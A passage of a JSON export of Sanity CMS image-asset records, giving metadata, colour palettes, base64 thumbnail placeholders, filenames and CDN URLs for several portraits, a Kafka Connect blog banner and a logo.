":{"_type":"sanity.imagePaletteSwatch","background":"#59372c","foreground":"#fff","population":4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#853412","foreground":"#fff","population":0.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3734a","foreground":"#fff","population":4.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5bbcf","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0b48c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7562","foreground":"#fff","population":3.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c3734a","foreground":"#fff","population":4.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Delphin - portrait .jpeg","path":"images/sczeoy4w/production/2e3a1d9cc25c46e952cd6da5d33186dd48e42af3-600x600.jpg","sha1hash":"2e3a1d9cc25c46e952cd6da5d33186dd48e42af3","size":43236,"uploadId":"qgxpJf8vah4UzBzOe2hJTpLTlvHtcY5e","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e3a1d9cc25c46e952cd6da5d33186dd48e42af3-600x600.jpg"} {"_createdAt":"2022-11-28T09:25:56Z","_id":"image-2e5dc2a18a784b261a9d0102b69419be90aa75e8-1567x844-jpg","_rev":"z7EiK8inwybcbhSAyIPwdS","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T09:25:56Z","assetId":"2e5dc2a18a784b261a9d0102b69419be90aa75e8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M85$Gq-=MxWBt7_4%MM_Rkoft7t7j@WBoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDBQf/xAAfEAABBAICAwAAAAAAAAAAAAABAAIDBBExBSEyQYH/xAAWAQEBAQAAAAAAAAAAAAAAAAACBQb/xAAZEQADAAMAAAAAAAAAAAAAAAAAARESMUH/2gAMAwEAAhEDEQA/AORRctRZE1rqDS4Ds9dqPI3aVyLEVUxPHiQQB9WbY0zWlNu1p8VsiN8GIx6QkyhOBp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3963","foreground":"#fff","population":1.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":66.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":66.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8fa0bc","foreground":"#000","population":0.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fa9e7","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47c64","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34748","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"8_Tips_for_getting_Kafka_Connect_config_right_blog.jpg","path":"images/sczeoy4w/production/2e5dc2a18a784b261a9d0102b69419be90aa75e8-1567x844.jpg","sha1hash":"2e5dc2a18a784b261a9d0102b69419be90aa75e8","size":153810,"uploadId":"sAXtyAD3L9Mq7G9bErfNeRdAbS1XA1z1","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e5dc2a18a784b261a9d0102b69419be90aa75e8-1567x844.jpg"} {"_createdAt":"2023-06-30T15:47:18Z","_id":"image-2e6cdc1f877b450decdbf6bd4b48dcc20eb6f046-800x659-jpg","_rev":"kqzyZ7JVpCO5nNERnMfl6Y","_type":"sanity.imageAsset","_updatedAt":"2023-06-30T15:47:18Z","assetId":"2e6cdc1f877b450decdbf6bd4b48dcc20eb6f046","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDAvUxE101~B}@~BRk56-o-VENoe$%NaShELof%2RjWUIos:xuNGWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2139605462822458,"height":659,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBQj/xAAkEAACAgECBQUAAAAAAAAAAAABAwIEAAURBgcSIlETIUFxwf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBP/EABkRAAMBAQEAAAAAAAAAAAAAAAABAhEDMf/aAAwDAQACEQMRAD8A5605AZZTCZ7DIA/WW/i6jozuWEpLqJVYrGIUwR6ZSP7kNhYZGO9cR3HycYla+x+iLpWPWawS3JlPtA8AZNxTpYNy6RMUq9YtMSRM4ZsFK3nrh7DwcMXGZ9P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#442d27","foreground":"#fff","population":3.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#190c04","foreground":"#fff","population":0.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b1a6","foreground":"#000","population":9.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a88881","foreground":"#fff","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b1a6","foreground":"#000","population":9.47,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86959","foreground":"#fff","population":1.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9d5b40","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"antti-kurittu.jpg","path":"images/sczeoy4w/production/2e6cdc1f877b450decdbf6bd4b48dcc20eb6f046-800x659.jpg","sha1hash":"2e6cdc1f877b450decdbf6bd4b48dcc20eb6f046","size":43935,"uploadId":"DfT2bjZqfWUVaQYJkW6zvY59MESOw7P1","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e6cdc1f877b450decdbf6bd4b48dcc20eb6f046-800x659.jpg"} {"_createdAt":"2022-12-08T13:36:06Z","_id":"image-2eae525a9ea343458892ca0bdc1e89ad0d83af52-512x512-jpg","_rev":"VrdcoLtXxUWed6PHr4C10h","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:36:06Z","assetId":"2eae525a9ea343458892ca0bdc1e89ad0d83af52","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eiHB9$jFxtD*V[~VodofRjM|%LNHkCoLWBWBR*WqkBj@NGoLs.j[bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcGBQj/xAAlEAABBAEDBAIDAAAAAAAAAAABAAIDBAUGESEHEjFRExQVFiL/xAAYAQACAwAAAAAAAAAAAAAAAAAEBQECA//EABsRAQADAQADAAAAAAAAAAAAAAEAAhEhAxIx/9oADAMBAAIRAxEAPwChaXmZ9hvIU2/K1KfVt8+RsNpQ05XSOlIADx6487rDYHWucsVT9ZoMnwkNc12xWQ1BXy1OI2syJCZXHsLnb8n2l/jorluRhe3rXa9J60g1Fj8w11up8hgc4hriw/0PYRSjpJPlP0yuTO8MMjuwEeG8bIoaA5KllNkdc99fH4wQOLNx3EtOx3XOzOXu3nCpamMkLH8A+URFVD7MFcyW/T9+arhacMPa2NkYAGyIiAs9YWBk/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a3827","foreground":"#fff","population":7.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#772b10","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a3827","foreground":"#fff","population":7.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb498","foreground":"#000","population":6.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbe6c8","foreground":"#000","population":1.7,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7253","foreground":"#fff","population":1.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c17a1f","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Chris Egerton.jpg","path":"images/sczeoy4w/production/2eae525a9ea343458892ca0bdc1e89ad0d83af52-512x512.jpg","sha1hash":"2eae525a9ea343458892ca0bdc1e89ad0d83af52","size":54251,"uploadId":"CEuImAnlDLevyW0S2Q0DrF0yLHTg7zVT","url":"https://cdn.sanity.io/images/sczeoy4w/production/2eae525a9ea343458892ca0bdc1e89ad0d83af52-512x512.jpg"} {"_createdAt":"2023-03-15T12:51:41Z","_id":"image-2eaf32206056d74322b68210fe664e34ada1321d-800x800-jpg","_rev":"0lF4kyZBi1fr8QymZ2oX1P","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:41Z","assetId":"2eaf32206056d74322b68210fe664e34ada1321d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQGCAUH/8QAJBAAAgICAQQBBQAAAAAAAAAAAQIAAwQRBgUSEzEiJDJBUpH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwL/xAAYEQADAQEAAAAAAAAAAAAAAAAAAQIDQf/aAAwDAQACEQMRAD8A0by7KuxumjwWmku4UuBvQlU43yGrG6oMRr3cP+WPsy58hx0zenW0l+1gNgieI5FOanLMUlSET4oP3O4bVuaTF4xN5tdNBA7AI9GJGwrPpKvIyh+0bG4iQhBuYtY+5Uhi1WchTuX7TsREPrwvl07eQA1pJ3/YiJsmf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#956850","foreground":"#fff","population":1.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f4535","foreground":"#fff","population":2.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ad846e","foreground":"#fff","population":5.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b4a2","foreground":"#000","population":4.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcb5a6","foreground":"#000","population":2.32,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad846e","foreground":"#fff","population":5.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c58b76","foreground":"#000","population":0.73,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"zoe-fabian.jpg","path":"images/sczeoy4w/production/2eaf32206056d74322b68210fe664e34ada1321d-800x800.jpg","sha1hash":"2eaf32206056d74322b68210fe664e34ada1321d","size":146222,"uploadId":"XnwP1vqHGBt1EQmKWu2bZ3bYmr5uFkNs","url":"https://cdn.sanity.io/images/sczeoy4w/production/2eaf32206056d74322b68210fe664e34ada1321d-800x800.jpg"} {"_createdAt":"2024-03-26T11:11:53Z","_id":"image-2f10e59e7447f1ba302154143313977977a5301e-3024x4032-jpg","_rev":"FsdEUX6qPquRWP6V16KShy","_type":"sanity.imageAsset","_updatedAt":"2024-03-26T11:11:53Z","assetId":"2f10e59e7447f1ba302154143313977977a5301e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dIG[7r.7~UNJk7RQ9vxF%KW?VtWAE2WA%1S~T0xFNGsA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":4032,"width":3024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGwAAAQQDAAAAAAAAAAAAAAAAAAIFBgcBBAj/xAAlEAACAQQCAQMFAAAAAAAAAAABAgMABAUREiEGBzFRFBUjQWH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwH/xAAdEQACAwACAwAAAAAAAAAAAAABAgADEQQTEjFB/9oADAMBAAIRAxEAPwDbePiT1TNcZGaB1ea2ItnkEYYe+zTr5ZkEwWJmvpI2kVNDiv73UFl8stn4SJG7QllcoT7H+0JKnsOINjPJFBLnJNylFLxs8WQso7mHpHG9fFFTZSpwzQQRomPUi0mbGB9kWibM3EbJ+Koqb6hI4rGOFxzkBCkaZtmuqb+NJYmSRQyN0QR0aqvymCIepdyojULDahowB0p1703i29asZCxOxlWSzH2WKtcfbRRfhKxrzRW3ptd0UvCRJ9rt24jky8mPyaKBhPsxxsX4s//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#694631","foreground":"#fff","population":0.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#26365d","foreground":"#fff","population":5.63,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#94846c","foreground":"#fff","population":11.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdac93","foreground":"#000","population":4.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7a27f","foreground":"#000","population":4.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94846c","foreground":"#fff","population":11.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4070a4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IMG_8861 - Henrietta Dombrovskaya.jpeg","path":"images/sczeoy4w/production/2f10e59e7447f1ba302154143313977977a5301e-3024x4032.jpg","sha1hash":"2f10e59e7447f1ba302154143313977977a5301e","size":1894737,"uploadId":"MhjzSra7GVQVBilwCkhhXmPmygCujTzs","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f10e59e7447f1ba302154143313977977a5301e-3024x4032.jpg"} {"_createdAt":"2022-12-01T15:53:19Z","_id":"image-2f357752418673c94a1acd7b9f1c92007a2bb853-1875x938-png","_rev":"lhoXF04OR35CGYtnFnl1kG","_type":"sanity.imageAsset","_updatedAt":"2022-12-01T15:56:11Z","altText":"Checking the logs and browsing for a solution can help solving the most common Kafka Connect errors","assetId":"2f357752418673c94a1acd7b9f1c92007a2bb853","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9989339019189765,"height":938,"width":1875},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAADL0lEQVQokR1SC0yTZwC80iJlMKuLEQbR+sIyLfYFbUGNBQpUiMSmGl0V14BsGcLEmgi6ZIrE1bFNWkvsT0CgEFGqNq6lVjeLsbDWttbVbdEoy+ILLTWDxferfIZecskll9wllwO5Cjxq/Jjxbm/8J1MNYJM9SH19vDzp0cN7Cf/eH6MPne4EIQQTZ3Yj2kAD+QZwewPwejzw+30Y+d0Lw/Gz2FDbijjuVwCpm8Ek9fHZZBdDO9WQZHz3o+DQc6eu+r9/QvIn4ccp5MU9GgAs26oDMABHbRYmdVz4vSPw+f0IBq8h8nA0Vnrrr2uAr4qzbPzr1JZX2rQ7b1tWTj6z7huPeCy++76L3/45/NtiTecfNJa4CGDwAUins7GXkFjAs+cvEBkPxzTwWczDoc9lm8/VFIyMtmyNTg4ayHjQRe4OOyOBPqPhcO0XOXmrpXOVRXmsg8qMpKHK2cwHatBHjaq4YMCfGArdYIVCoZnOS27WAX0/Ews1NGxct7ayaUdV8Ap1ZCp83hp9crafhI3fh280VuubN8kKlKUikaokW6iWr8hqUkszf9Wp02/Zj7KGXJe4brdb6fV6N7iHPWVdJwcXYUllPArzC1Y1q7ecCNTvnHiq3fn+dfW2V2/U5Z7/N8s11qqcBY3buewvVbzMMhmfW6dRiRx9xqzLjtNLzGZzhcViGbDb7Q6n84Lh1BnbqqUlexKwWiyZdbKwWDlWXNYZlZcOkfwiK8mX1RF57kJyJI1+tz+d0b6bk1BawPtIq901+7xjMLW7q5vX2tr6nclk8vf09PzdF8OJoqPtvUxEFJL427lrUsYkcvGEVKF4ubIs7/2a8k8nFWr69NbbdUxk8QWYxRbENq/eZ5px+CfDUr1er2lra9tPUdSBjo6OHWazOdtusyViaj1/znW5lF0vkbKLhZI0lUiaDL4EAxnrYK3j4JiWAw4vFxsVYgDLkbi8gt7Y9PNME9U+n6KoeSYTlW429y6wWCxzfrHZGYhuykwJlAgyaiTCxVweL00oWJFUIxbRyOhNyIR8vLmTDNsPOQAoFFY0IzmnHvnbdOjsHYjdZZoulytumoFAAB8AYR5meIQI9KIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#582d36","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#590b08","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96810","foreground":"#fff","population":3.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c64","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#769184","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96810","foreground":"#fff","population":3.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"8_Tipst_in-line-image (1).png","path":"images/sczeoy4w/production/2f357752418673c94a1acd7b9f1c92007a2bb853-1875x938.png","sha1hash":"2f357752418673c94a1acd7b9f1c92007a2bb853","size":756183,"title":"Fixing mistakes","uploadId":"azaAvAJUa856nLvK0p99Ig35eO4RH2Y6","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f357752418673c94a1acd7b9f1c92007a2bb853-1875x938.png"} {"_createdAt":"2023-06-06T10:02:10Z","_id":"image-2f5b35c85acde0ae6f89c14f5be6d96e80bb85f9-650x240-png","_rev":"dsxJlHxlnt5nZt5n1qlkXP","_type":"sanity.imageAsset","_updatedAt":"2023-06-06T10:03:08Z","altText":"Underline Ventures logo","assetId":"2f5b35c85acde0ae6f89c14f5be6d96e80bb85f9","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7083333333333335,"height":240,"width":650},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7klEQVQokS3OXUhTYRgH8P8573mf97itcmYxoqvQjcyzs03n0YiULrpr0pc1goJWqV24nM2dzR0V7QMRKT/6gG67iS6EIOiiUAiiiwr7GhoSYRAEuwj27qaraJyLH/+Hhz8PDwBsd9UDaATgh4IGAIcAnIKCkMLgVxgaoGA/gCSUGkvRsFcl7GQ6djAd9Uyv3UECwDE3zwA47c6XAKQBnANw0nUWwCCAfnefdPu9rv9PIOMacg9koGAEKkYVFbaiIasShlSBq6wOKc2DAc2DjOZFVvMh7yrybciSHwn4DXWwMa4O7+pi13YfZOlAN8sEelgu0MOcQDdz9hxlxX1JrdB8kRdCAzzXnOKTTef5XNMFvhhM8Xuhfn6/Jc0fmUVa6lwSabSk+cPIJD0xHVo2bHoWmaDnpkMvDJteGaO0Ep2iVWtevO5cFG867oq38VnxPj4rPrfPiFJ8TmxYC+LbkeW674kPnvUT696XCI/R19g0lSMTJMN5qtSyQLL1OlWMHMnYTSHbbglpFkkaNsnIOMnoVK0rTYekOU7y8GO9erzkLfdt+T6i64G+aS2Iascd8bfttqi2z4iK6dCf1hEqGzn6HZ2mX+EC/Qxe4T+Cl/mmYdNG7IYohfP0xRyjTweGac2aF+9617yrfVu+p/8AS2KH/iKGNWwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#284c31","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#157704","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#55f50b","foreground":"#000","population":0.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#328513","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7de656","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#72a955","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#55f50b","foreground":"#000","population":0.42,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"logo-underline-ventures.png","path":"images/sczeoy4w/production/2f5b35c85acde0ae6f89c14f5be6d96e80bb85f9-650x240.png","sha1hash":"2f5b35c85acde0ae6f89c14f5be6d96e80bb85f9","size":18077,"title":null,"uploadId":"DF6Kr8T5P1m1rhbCVFGl9DMmSAD4S9hm","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f5b35c85acde0ae6f89c14f5be6d96e80bb85f9-650x240.png"} {"_createdAt":"2022-12-21T14:52:33Z","_id":"image-2f674d38474e85faedcbdf818c98a032444fddd7-3000x1875-png","_rev":"N10fXTWpU2c1fHfzvjatKn","_type":"sanity.imageAsset","_updatedAt":"2023-01-09T10:04:00Z","altText":null,"assetId":"2f674d38474e85faedcbdf818c98a032444fddd7","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VB83-40M^PXS9a0g~A9vaL-.tQV@bbs.NH=x9]-AS4Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":1875,"width":3000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAAA7UlEQVQ4je2RoUpEQRiFz264y7KG7b6CIPgEmn0Fi2Izi1UMJpPKWhRc1DujIGzYILYVwaA3qOudWVTEYjNtn0/mmg1OMHngwJ8+zvmP9K8/V/BGrOlH/1p4q/DaE+NSuFyMTsVbX4y9gASgsxWU+32FMld46YnPooIlAo0YrCvcbse7TtFpcLmasTtTo6HEhO8XItZ2+STD7hxFZ5r+SjMtYaz7fB5/l+HyeZ6O9ng4WOJqo50OHJ0peDuBM8uUJ5Zhd4GbrRYfg0Tgt5s4M4szi5THU9zt1Hk8TATGYZyp4W0Lb9vB26xa+XpTX4C5sHsAz6jEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4733","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c2404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a4733","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1bfa6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b679","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e795c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c49c7c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"bg-two-pills.png","path":"images/sczeoy4w/production/2f674d38474e85faedcbdf818c98a032444fddd7-3000x1875.png","sha1hash":"2f674d38474e85faedcbdf818c98a032444fddd7","size":38800,"title":null,"uploadId":"olHKlJy9ZUcyUtly2FmdrdvYZghHO5T0","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f674d38474e85faedcbdf818c98a032444fddd7-3000x1875.png"} {"_createdAt":"2022-12-09T16:02:27Z","_id":"image-2fc589ac6ba7dc6c6df7e5100382001755b77173-628x628-jpg","_rev":"cwf6PSmkIH3MXtFHz0YH6B","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:02:27Z","assetId":"2fc589ac6ba7dc6c6df7e5100382001755b77173","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":628,"width":628},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAMEBQEC/8QAIxAAAgEEAQMFAAAAAAAAAAAAAQIDAAQFESESQWETFSIxcf/EABcBAQEBAQAAAAAAAAAAAAAAAAQGAwX/xAAeEQEAAgEEAwAAAAAAAAAAAAABAAIRAxIhUQQTcf/aAAwDAQACEQMRAD8Ao2RjlgiidfiJNFl5P7V/J2WK9sllsJbt7hTsiVNDVRPlrDHYgejCY5T9O3OjVS3z7DHumo3acsqhD1dXnxQ2lq0OOGLo0Ry8kyYpyqa2eKVGru6hkRdHzSj7zuZ+yvczrKaTJ2vVeMXJHbjvXvBW0MOUURpoI215PBpSrPA4zOKqZnJGaW4nJJGpCNLxSlKlfJMa1vsdRdpP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#593f34","foreground":"#fff","population":2.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#263968","foreground":"#fff","population":1.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a57f69","foreground":"#fff","population":5.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6b8ae","foreground":"#000","population":1.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edc4ae","foreground":"#000","population":0.35,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57f69","foreground":"#fff","population":5.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"muraldahir-basani.jpg","path":"images/sczeoy4w/production/2fc589ac6ba7dc6c6df7e5100382001755b77173-628x628.jpg","sha1hash":"2fc589ac6ba7dc6c6df7e5100382001755b77173","size":44186,"uploadId":"1wPtLxJWlIrjZfI8CUJVKrxRkKvaE7ox","url":"https://cdn.sanity.io/images/sczeoy4w/production/2fc589ac6ba7dc6c6df7e5100382001755b77173-628x628.jpg"} 